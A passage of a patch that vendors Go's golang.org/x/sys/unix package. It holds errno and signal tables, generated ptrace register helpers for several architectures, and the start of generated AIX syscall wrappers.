-+ {5, "EIO", "I/O error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "arg list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file number"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "not enough space"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "file table overflow"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "ENOMSG", "no message of desired type"},
-+ {36, "EIDRM", "identifier removed"},
-+ {37, "ECHRNG", "channel number out of range"},
-+ {38, "EL2NSYNC", "level 2 not synchronized"},
-+ {39, "EL3HLT", "level 3 halted"},
-+ {40, "EL3RST", "level 3 reset"},
-+ {41, "ELNRNG", "link number out of range"},
-+ {42, "EUNATCH", "protocol driver not attached"},
-+ {43, "ENOCSI", "no CSI structure available"},
-+ {44, "EL2HLT", "level 2 halted"},
-+ {45, "EDEADLK", "deadlock situation detected/avoided"},
-+ {46, "ENOLCK", "no record locks available"},
-+ {47, "ECANCELED", "operation canceled"},
-+ {48, "ENOTSUP", "operation not supported"},
-+ {49, "EDQUOT", "disc quota exceeded"},
-+ {50, "EBADE", "bad exchange descriptor"},
-+ {51, "EBADR", "bad request descriptor"},
-+ {52, "EXFULL", "message tables full"},
-+ {53, "ENOANO", "anode table overflow"},
-+ {54, "EBADRQC", "bad request code"},
-+ {55, "EBADSLT", "invalid slot"},
-+ {56, "EDEADLOCK", "file locking deadlock"},
-+ {57, "EBFONT", "bad font file format"},
-+ {58, "EOWNERDEAD", "owner of the lock died"},
-+ {59, "ENOTRECOVERABLE", "lock is not recoverable"},
-+ {60, "ENOSTR", "not a stream device"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of stream resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
-+ {68, "EADV", "advertise error"},
-+ {69, "ESRMNT", "srmount error"},
-+ {70, "ECOMM", "communication error on send"},
-+ {71, "EPROTO", "protocol error"},
-+ {72, "ELOCKUNMAPPED", "locked lock was unmapped "},
-+ {73, "ENOTACTIVE", "facility is not active"},
-+ {74, "EMULTIHOP", "multihop attempted"},
-+ {77, "EBADMSG", "not a data message"},
-+ {78, "ENAMETOOLONG", "file name too long"},
-+ {79, "EOVERFLOW", "value too large for defined data type"},
-+ {80, "ENOTUNIQ", "name not unique on network"},
-+ {81, "EBADFD", "file descriptor in bad state"},
-+ {82, "EREMCHG", "remote address changed"},
-+ {83, "ELIBACC", "can not access a needed shared library"},
-+ {84, "ELIBBAD", "accessing a corrupted shared library"},
-+ {85, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {86, "ELIBMAX", "attempting to link in more shared libraries than system limit"},
-+ {87, "ELIBEXEC", "can not exec a shared library directly"},
-+ {88, "EILSEQ", "illegal byte sequence"},
-+ {89, "ENOSYS", "operation not applicable"},
-+ {90, "ELOOP", "number of symbolic links encountered during path name traversal exceeds MAXSYMLINKS"},
-+ {91, "ERESTART", "error 91"},
-+ {92, "ESTRPIPE", "error 92"},
-+ {93, "ENOTEMPTY", "directory not empty"},
-+ {94, "EUSERS", "too many users"},
-+ {95, "ENOTSOCK", "socket operation on non-socket"},
-+ {96, "EDESTADDRREQ", "destination address required"},
-+ {97, "EMSGSIZE", "message too long"},
-+ {98, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {99, "ENOPROTOOPT", "option not supported by protocol"},
-+ {120, "EPROTONOSUPPORT", "protocol not supported"},
-+ {121, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {122, "EOPNOTSUPP", "operation not supported on transport endpoint"},
-+ {123, "EPFNOSUPPORT", "protocol family not supported"},
-+ {124, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {125, "EADDRINUSE", "address already in use"},
-+ {126, "EADDRNOTAVAIL", "cannot assign requested address"},
-+ {127, "ENETDOWN", "network is down"},
-+ {128, "ENETUNREACH", "network is unreachable"},
-+ {129, "ENETRESET", "network dropped connection because of reset"},
-+ {130, "ECONNABORTED", "software caused connection abort"},
-+ {131, "ECONNRESET", "connection reset by peer"},
-+ {132, "ENOBUFS", "no buffer space available"},
-+ {133, "EISCONN", "transport endpoint is already connected"},
-+ {134, "ENOTCONN", "transport endpoint is not connected"},
-+ {143, "ESHUTDOWN", "cannot send after socket shutdown"},
-+ {144, "ETOOMANYREFS", "too many references: cannot splice"},
-+ {145, "ETIMEDOUT", "connection timed out"},
-+ {146, "ECONNREFUSED", "connection refused"},
-+ {147, "EHOSTDOWN", "host is down"},
-+ {148, "EHOSTUNREACH", "no route to host"},
-+ {149, "EALREADY", "operation already in progress"},
-+ {150, "EINPROGRESS", "operation now in progress"},
-+ {151, "ESTALE", "stale NFS file handle"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal Instruction",
-- 5: "trace/Breakpoint Trap",
-- 6: "abort",
-- 7: "emulation Trap",
-- 8: "arithmetic Exception",
-- 9: "killed",
-- 10: "bus Error",
-- 11: "segmentation Fault",
-- 12: "bad System Call",
-- 13: "broken Pipe",
-- 14: "alarm Clock",
-- 15: "terminated",
-- 16: "user Signal 1",
-- 17: "user Signal 2",
-- 18: "child Status Changed",
-- 19: "power-Fail/Restart",
-- 20: "window Size Change",
-- 21: "urgent Socket Condition",
-- 22: "pollable Event",
-- 23: "stopped (signal)",
-- 24: "stopped (user)",
-- 25: "continued",
-- 26: "stopped (tty input)",
-- 27: "stopped (tty output)",
-- 28: "virtual Timer Expired",
-- 29: "profiling Timer Expired",
-- 30: "cpu Limit Exceeded",
-- 31: "file Size Limit Exceeded",
-- 32: "no runnable lwp",
-- 33: "inter-lwp signal",
-- 34: "checkpoint Freeze",
-- 35: "checkpoint Thaw",
-- 36: "thread Cancellation",
-- 37: "resource Lost",
-- 38: "resource Control Exceeded",
-- 39: "reserved for JVM 1",
-- 40: "reserved for JVM 2",
-- 41: "information Request",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal Instruction"},
-+ {5, "SIGTRAP", "trace/Breakpoint Trap"},
-+ {6, "SIGABRT", "abort"},
-+ {7, "SIGEMT", "emulation Trap"},
-+ {8, "SIGFPE", "arithmetic Exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus Error"},
-+ {11, "SIGSEGV", "segmentation Fault"},
-+ {12, "SIGSYS", "bad System Call"},
-+ {13, "SIGPIPE", "broken Pipe"},
-+ {14, "SIGALRM", "alarm Clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGUSR1", "user Signal 1"},
-+ {17, "SIGUSR2", "user Signal 2"},
-+ {18, "SIGCHLD", "child Status Changed"},
-+ {19, "SIGPWR", "power-Fail/Restart"},
-+ {20, "SIGWINCH", "window Size Change"},
-+ {21, "SIGURG", "urgent Socket Condition"},
-+ {22, "SIGIO", "pollable Event"},
-+ {23, "SIGSTOP", "stopped (signal)"},
-+ {24, "SIGTSTP", "stopped (user)"},
-+ {25, "SIGCONT", "continued"},
-+ {26, "SIGTTIN", "stopped (tty input)"},
-+ {27, "SIGTTOU", "stopped (tty output)"},
-+ {28, "SIGVTALRM", "virtual Timer Expired"},
-+ {29, "SIGPROF", "profiling Timer Expired"},
-+ {30, "SIGXCPU", "cpu Limit Exceeded"},
-+ {31, "SIGXFSZ", "file Size Limit Exceeded"},
-+ {32, "SIGWAITING", "no runnable lwp"},
-+ {33, "SIGLWP", "inter-lwp signal"},
-+ {34, "SIGFREEZE", "checkpoint Freeze"},
-+ {35, "SIGTHAW", "checkpoint Thaw"},
-+ {36, "SIGCANCEL", "thread Cancellation"},
-+ {37, "SIGLOST", "resource Lost"},
-+ {38, "SIGXRES", "resource Control Exceeded"},
-+ {39, "SIGJVM1", "reserved for JVM 1"},
-+ {40, "SIGJVM2", "reserved for JVM 2"},
-+ {41, "SIGINFO", "information Request"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zptrace_armnn_linux.go b/vendor/golang.org/x/sys/unix/zptrace_armnn_linux.go
-new file mode 100644
-index 00000000..89c5920e
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zptrace_armnn_linux.go
-@@ -0,0 +1,41 @@
-+// Code generated by linux/mkall.go generatePtracePair("arm", "arm64"). DO NOT EDIT.
-+
-+// +build linux
-+// +build arm arm64
-+
-+package unix
-+
-+import "unsafe"
-+
-+// PtraceRegsArm is the registers used by arm binaries.
-+type PtraceRegsArm struct {
-+ Uregs [18]uint32
-+}
-+
-+// PtraceGetRegsArm fetches the registers used by arm binaries.
-+func PtraceGetRegsArm(pid int, regsout *PtraceRegsArm) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsArm sets the registers used by arm binaries.
-+func PtraceSetRegsArm(pid int, regs *PtraceRegsArm) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-+
-+// PtraceRegsArm64 is the registers used by arm64 binaries.
-+type PtraceRegsArm64 struct {
-+ Regs [31]uint64
-+ Sp uint64
-+ Pc uint64
-+ Pstate uint64
-+}
-+
-+// PtraceGetRegsArm64 fetches the registers used by arm64 binaries.
-+func PtraceGetRegsArm64(pid int, regsout *PtraceRegsArm64) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsArm64 sets the registers used by arm64 binaries.
-+func PtraceSetRegsArm64(pid int, regs *PtraceRegsArm64) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zptrace_linux_arm64.go b/vendor/golang.org/x/sys/unix/zptrace_linux_arm64.go
-new file mode 100644
-index 00000000..6cb6d688
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zptrace_linux_arm64.go
-@@ -0,0 +1,17 @@
-+// Code generated by linux/mkall.go generatePtraceRegSet("arm64"). DO NOT EDIT.
-+
-+package unix
-+
-+import "unsafe"
-+
-+// PtraceGetRegSetArm64 fetches the registers used by arm64 binaries.
-+func PtraceGetRegSetArm64(pid, addr int, regsout *PtraceRegsArm64) error {
-+ iovec := Iovec{(*byte)(unsafe.Pointer(regsout)), uint64(unsafe.Sizeof(*regsout))}
-+ return ptrace(PTRACE_GETREGSET, pid, uintptr(addr), uintptr(unsafe.Pointer(&iovec)))
-+}
-+
-+// PtraceSetRegSetArm64 sets the registers used by arm64 binaries.
-+func PtraceSetRegSetArm64(pid, addr int, regs *PtraceRegsArm64) error {
-+ iovec := Iovec{(*byte)(unsafe.Pointer(regs)), uint64(unsafe.Sizeof(*regs))}
-+ return ptrace(PTRACE_SETREGSET, pid, uintptr(addr), uintptr(unsafe.Pointer(&iovec)))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zptrace_mipsnn_linux.go b/vendor/golang.org/x/sys/unix/zptrace_mipsnn_linux.go
-new file mode 100644
-index 00000000..24b841ee
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zptrace_mipsnn_linux.go
-@@ -0,0 +1,50 @@
-+// Code generated by linux/mkall.go generatePtracePair("mips", "mips64"). DO NOT EDIT.
-+
-+// +build linux
-+// +build mips mips64
-+
-+package unix
-+
-+import "unsafe"
-+
-+// PtraceRegsMips is the registers used by mips binaries.
-+type PtraceRegsMips struct {
-+ Regs [32]uint64
-+ Lo uint64
-+ Hi uint64
-+ Epc uint64
-+ Badvaddr uint64
-+ Status uint64
-+ Cause uint64
-+}
-+
-+// PtraceGetRegsMips fetches the registers used by mips binaries.
-+func PtraceGetRegsMips(pid int, regsout *PtraceRegsMips) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsMips sets the registers used by mips binaries.
-+func PtraceSetRegsMips(pid int, regs *PtraceRegsMips) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-+
-+// PtraceRegsMips64 is the registers used by mips64 binaries.
-+type PtraceRegsMips64 struct {
-+ Regs [32]uint64
-+ Lo uint64
-+ Hi uint64
-+ Epc uint64
-+ Badvaddr uint64
-+ Status uint64
-+ Cause uint64
-+}
-+
-+// PtraceGetRegsMips64 fetches the registers used by mips64 binaries.
-+func PtraceGetRegsMips64(pid int, regsout *PtraceRegsMips64) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsMips64 sets the registers used by mips64 binaries.
-+func PtraceSetRegsMips64(pid int, regs *PtraceRegsMips64) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zptrace_mipsnnle_linux.go b/vendor/golang.org/x/sys/unix/zptrace_mipsnnle_linux.go
-new file mode 100644
-index 00000000..47b04895
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zptrace_mipsnnle_linux.go
-@@ -0,0 +1,50 @@
-+// Code generated by linux/mkall.go generatePtracePair("mipsle", "mips64le"). DO NOT EDIT.
-+
-+// +build linux
-+// +build mipsle mips64le
-+
-+package unix
-+
-+import "unsafe"
-+
-+// PtraceRegsMipsle is the registers used by mipsle binaries.
-+type PtraceRegsMipsle struct {
-+ Regs [32]uint64
-+ Lo uint64
-+ Hi uint64
-+ Epc uint64
-+ Badvaddr uint64
-+ Status uint64
-+ Cause uint64
-+}
-+
-+// PtraceGetRegsMipsle fetches the registers used by mipsle binaries.
-+func PtraceGetRegsMipsle(pid int, regsout *PtraceRegsMipsle) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsMipsle sets the registers used by mipsle binaries.
-+func PtraceSetRegsMipsle(pid int, regs *PtraceRegsMipsle) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-+
-+// PtraceRegsMips64le is the registers used by mips64le binaries.
-+type PtraceRegsMips64le struct {
-+ Regs [32]uint64
-+ Lo uint64
-+ Hi uint64
-+ Epc uint64
-+ Badvaddr uint64
-+ Status uint64
-+ Cause uint64
-+}
-+
-+// PtraceGetRegsMips64le fetches the registers used by mips64le binaries.
-+func PtraceGetRegsMips64le(pid int, regsout *PtraceRegsMips64le) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsMips64le sets the registers used by mips64le binaries.
-+func PtraceSetRegsMips64le(pid int, regs *PtraceRegsMips64le) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zptrace_x86_linux.go b/vendor/golang.org/x/sys/unix/zptrace_x86_linux.go
-new file mode 100644
-index 00000000..ea5d9cb5
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zptrace_x86_linux.go
-@@ -0,0 +1,80 @@
-+// Code generated by linux/mkall.go generatePtracePair("386", "amd64"). DO NOT EDIT.
-+
-+// +build linux
-+// +build 386 amd64
-+
-+package unix
-+
-+import "unsafe"
-+
-+// PtraceRegs386 is the registers used by 386 binaries.
-+type PtraceRegs386 struct {
-+ Ebx int32
-+ Ecx int32
-+ Edx int32
-+ Esi int32
-+ Edi int32
-+ Ebp int32
-+ Eax int32
-+ Xds int32
-+ Xes int32
-+ Xfs int32
-+ Xgs int32
-+ Orig_eax int32
-+ Eip int32
-+ Xcs int32
-+ Eflags int32
-+ Esp int32
-+ Xss int32
-+}
-+
-+// PtraceGetRegs386 fetches the registers used by 386 binaries.
-+func PtraceGetRegs386(pid int, regsout *PtraceRegs386) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegs386 sets the registers used by 386 binaries.
-+func PtraceSetRegs386(pid int, regs *PtraceRegs386) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-+
-+// PtraceRegsAmd64 is the registers used by amd64 binaries.
-+type PtraceRegsAmd64 struct {
-+ R15 uint64
-+ R14 uint64
-+ R13 uint64
-+ R12 uint64
-+ Rbp uint64
-+ Rbx uint64
-+ R11 uint64
-+ R10 uint64
-+ R9 uint64
-+ R8 uint64
-+ Rax uint64
-+ Rcx uint64
-+ Rdx uint64
-+ Rsi uint64
-+ Rdi uint64
-+ Orig_rax uint64
-+ Rip uint64
-+ Cs uint64
-+ Eflags uint64
-+ Rsp uint64
-+ Ss uint64
-+ Fs_base uint64
-+ Gs_base uint64
-+ Ds uint64
-+ Es uint64
-+ Fs uint64
-+ Gs uint64
-+}
-+
-+// PtraceGetRegsAmd64 fetches the registers used by amd64 binaries.
-+func PtraceGetRegsAmd64(pid int, regsout *PtraceRegsAmd64) error {
-+ return ptrace(PTRACE_GETREGS, pid, 0, uintptr(unsafe.Pointer(regsout)))
-+}
-+
-+// PtraceSetRegsAmd64 sets the registers used by amd64 binaries.
-+func PtraceSetRegsAmd64(pid int, regs *PtraceRegsAmd64) error {
-+ return ptrace(PTRACE_SETREGS, pid, 0, uintptr(unsafe.Pointer(regs)))
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc.go b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc.go
-new file mode 100644
-index 00000000..ed657ff1
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc.go
-@@ -0,0 +1,1484 @@
-+// go run mksyscall_aix_ppc.go -aix -tags aix,ppc syscall_aix.go syscall_aix_ppc.go
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build aix,ppc
-+
-+package unix
-+
-+/*
-+#include <stdint.h>
-+#include <stddef.h>
-+int utimes(uintptr_t, uintptr_t);
-+int utimensat(int, uintptr_t, uintptr_t, int);
-+int getcwd(uintptr_t, size_t);
-+int accept(int, uintptr_t, uintptr_t);
-+int getdirent(int, uintptr_t, size_t);
-+int wait4(int, uintptr_t, int, uintptr_t);
-+int ioctl(int, int, uintptr_t);
-+int fcntl(uintptr_t, int, uintptr_t);
-+int acct(uintptr_t);
-+int chdir(uintptr_t);
-+int chroot(uintptr_t);
-+int close(int);
-+int dup(int);
-+void exit(int);
-+int faccessat(int, uintptr_t, unsigned int, int);
-+int fchdir(int);
-+int fchmod(int, unsigned int);
-+int fchmodat(int, uintptr_t, unsigned int, int);
-+int fchownat(int, uintptr_t, int, int, int);
-+int fdatasync(int);
-+int fsync(int);
-+int getpgid(int);
-+int getpgrp();
-+int getpid();
-+int getppid();
-+int getpriority(int, int);
-+int getrusage(int, uintptr_t);
-+int getsid(int);
-+int kill(int, int);
-+int syslog(int, uintptr_t, size_t);
-+int mkdir(int, uintptr_t, unsigned int);
-+int mkdirat(int, uintptr_t, unsigned int);
-+int mkfifo(uintptr_t, unsigned int);
-+int mknod(uintptr_t, unsigned int, int);
-+int mknodat(int, uintptr_t, unsigned int, int);
-+int nanosleep(uintptr_t, uintptr_t);
-+int open64(uintptr_t, int, unsigned int);
-+int openat(int, uintptr_t, int, unsigned int);
-+int read(int, uintptr_t, size_t);
-+int readlink(uintptr_t, uintptr_t, size_t);
-+int renameat(int, uintptr_t, int, uintptr_t);
-+int setdomainname(uintptr_t, size_t);
-+int sethostname(uintptr_t, size_t);
-+int setpgid(int, int);
-+int setsid();
-+int settimeofday(uintptr_t);
-+int setuid(int);
-+int setgid(int);
-+int setpriority(int, int, int);
-+int statx(int, uintptr_t, int, int, uintptr_t);
-+int sync();
-+uintptr_t times(uintptr_t);
-+int umask(int);
-+int uname(uintptr_t);
-+int unlink(uintptr_t);
-+int unlinkat(int, uintptr_t, int);
-+int ustat(int, uintptr_t);
-+int write(int, uintptr_t, size_t);
-+int dup2(int, int);
-+int posix_fadvise64(int, long long, long long, int);
-+int fchown(int, int, int);
-+int fstat(int, uintptr_t);
-+int fstatat(int, uintptr_t, uintptr_t, int);
-+int fstatfs(int, uintptr_t);
-+int ftruncate(int, long long);
-+int getegid();
-+int geteuid();
-+int getgid();
-+int getuid();
-+int lchown(uintptr_t, int, int);
-+int listen(int, int);
-+int lstat(uintptr_t, uintptr_t);
-+int pause();
-+int pread64(int, uintptr_t, size_t, long long);
-+int pwrite64(int, uintptr_t, size_t, long long);
-+#define c_select select
-+int select(int, uintptr_t, uintptr_t, uintptr_t, uintptr_t);
-+int pselect(int, uintptr_t, uintptr_t, uintptr_t, uintptr_t, uintptr_t);
-+int setregid(int, int);
-+int setreuid(int, int);
-+int shutdown(int, int);
-+long long splice(int, uintptr_t, int, uintptr_t, int, int);
-+int stat(uintptr_t, uintptr_t);
-+int statfs(uintptr_t, uintptr_t);
-+int truncate(uintptr_t, long long);
-+int bind(int, uintptr_t, uintptr_t);
-+int connect(int, uintptr_t, uintptr_t);
-+int getgroups(int, uintptr_t);
-+int setgroups(int, uintptr_t);
-+int getsockopt(int, int, int, uintptr_t, uintptr_t);
-+int setsockopt(int, int, int, uintptr_t, uintptr_t);
-+int socket(int, int, int);
-+int socketpair(int, int, int, uintptr_t);
-+int getpeername(int, uintptr_t, uintptr_t);
-+int getsockname(int, uintptr_t, uintptr_t);
-+int recvfrom(int, uintptr_t, size_t, int, uintptr_t, uintptr_t);
-+int sendto(int, uintptr_t, size_t, int, uintptr_t, uintptr_t);
-+int nrecvmsg(int, uintptr_t, int);
-+int nsendmsg(int, uintptr_t, int);
-+int munmap(uintptr_t, uintptr_t);
-+int madvise(uintptr_t, size_t, int);
-+int mprotect(uintptr_t, size_t, int);
-+int mlock(uintptr_t, size_t);
-+int mlockall(int);
-+int msync(uintptr_t, size_t, int);
-+int munlock(uintptr_t, size_t);
-+int munlockall();
-+int pipe(uintptr_t);
-+int poll(uintptr_t, int, int);
-+int gettimeofday(uintptr_t, uintptr_t);
-+int time(uintptr_t);
-+int utime(uintptr_t, uintptr_t);
-+unsigned long long getsystemcfg(int);
-+int umount(uintptr_t);
-+int getrlimit64(int, uintptr_t);
-+int setrlimit64(int, uintptr_t);
-+long long lseek64(int, long long, int);
-+uintptr_t mmap(uintptr_t, uintptr_t, int, int, int, long long);
-+
-+*/
-+import "C"
-+import (
-+ "unsafe"
-+)
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.utimes(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(times))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func utimensat(dirfd int, path string, times *[2]Timespec, flag int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.utimensat(C.int(dirfd), C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(times))), C.int(flag))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getcwd(buf []byte) (err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ var _p1 int
-+ _p1 = len(buf)
-+ r0, er := C.getcwd(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-+ r0, er := C.accept(C.int(s), C.uintptr_t(uintptr(unsafe.Pointer(rsa))), C.uintptr_t(uintptr(unsafe.Pointer(addrlen))))
-+ fd = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getdirent(fd int, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ var _p1 int
-+ _p1 = len(buf)
-+ r0, er := C.getdirent(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func wait4(pid Pid_t, status *_C_int, options int, rusage *Rusage) (wpid Pid_t, err error) {
-+ r0, er := C.wait4(C.int(pid), C.uintptr_t(uintptr(unsafe.Pointer(status))), C.int(options), C.uintptr_t(uintptr(unsafe.Pointer(rusage))))
-+ wpid = Pid_t(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ r0, er := C.ioctl(C.int(fd), C.int(req), C.uintptr_t(arg))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func FcntlInt(fd uintptr, cmd int, arg int) (r int, err error) {
-+ r0, er := C.fcntl(C.uintptr_t(fd), C.int(cmd), C.uintptr_t(arg))
-+ r = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) (err error) {
-+ r0, er := C.fcntl(C.uintptr_t(fd), C.int(cmd), C.uintptr_t(uintptr(unsafe.Pointer(lk))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, er := C.fcntl(C.uintptr_t(fd), C.int(cmd), C.uintptr_t(arg))
-+ val = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Acct(path string) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.acct(C.uintptr_t(_p0))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Chdir(path string) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.chdir(C.uintptr_t(_p0))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Chroot(path string) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.chroot(C.uintptr_t(_p0))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Close(fd int) (err error) {
-+ r0, er := C.close(C.int(fd))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Dup(oldfd int) (fd int, err error) {
-+ r0, er := C.dup(C.int(oldfd))
-+ fd = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Exit(code int) {
-+ C.exit(C.int(code))
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
